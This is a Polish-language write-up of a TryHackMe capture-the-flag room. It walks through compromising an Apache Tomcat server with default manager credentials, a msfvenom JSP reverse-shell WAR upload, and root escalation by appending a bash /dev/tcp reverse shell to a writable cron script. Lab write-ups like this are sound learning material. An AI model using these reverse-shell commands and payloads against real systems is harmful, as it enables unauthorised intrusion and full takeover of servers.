Link do room’u: https://tryhackme.com/r/room/bsidesgtthompson

Zacząłem od enumeracji

nmap -oN nmap.txt -Pn -T4 -sC -sV 10.10.188.85
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
8009/tcp open  ajp13    Apache Jserv (Protocol v1.3)
8080/tcp open  http     Apache Tomcat 8.5.5

Wszedłem sobie na stronkę http://10.10.188.85:8080

Kliknąłem Manager App i poprosiło mnie to o login

spróbowałem admin:tomcat i tomcat:tomcat ale nie weszło, nacisnąłem więc cancel i wyświetliły mi się ciekawe informacje

Używając username tomcat i password s3cret udało mi się zalogować na stronę

Zjeżdżając niżej, zauważyłem, że mogę wgrać plik .war - nie wiedziałem co to jest, ale po szybkim wygooglowaniu dowiedziałem się, że jest to plik używany do dystrybucji kolekcji plików JAR, JavaServer Pages, Java Servlets i klas Java

Sprawdziłem dostępne payloady metasploita

wykorzystałem java/jsp_shell_reverse_tcp używając

msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war > rev.war

w drugim oknie terminala włączyłem msfconsole i wpisałem:

  • use multi/handler
  • set payload java/jsp_shell_reverse_tcp

Ustawiłem również LHOST i LPORT bazując na tym co wpisałem do msfvenom

  • set LHOST=IP
  • set LPORT=PORT

na sam koniec wpisałem exploit

no i wgrałem tego exploita na stronę

po kliknięciu w /rev udało się uzyskać dostęp do shella. Zespawnowałem sobie od razu lepszego, używając pythona

python3 -c "import pty; pty.spawn('/bin/bash')"

wędrując po directory, udało mi się znaleźć flagę usera

Pora na eskalację uprawnień, sprawdziłem sudo -l ale kazał mi podać hasło, więc próbuję znaleźć inną drogę

Sprawdźmy crontaba, cat /etc/crontab

no i mamy coś ciekawego, id.sh w home directory jack’a - sprawdzę jeszcze tylko uprawnienia do tego pliku przez komendę ls -la /home/jack/id.sh

no i super, wygląda na to, że może być to nasz sposób na eskalację uprawnień, sprawdźmy tylko co jest w tym pliku

dopiszę sobie reverse shella używając echo:

echo "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1" >> /home/jack/id.sh

w kolejnym oknie terminala włączyłem netcata

nc -nvlp LPORT

no i po chwili udało się uzyskać dostęp do root shella. Pozostało już tylko wyciągnąć flagę roota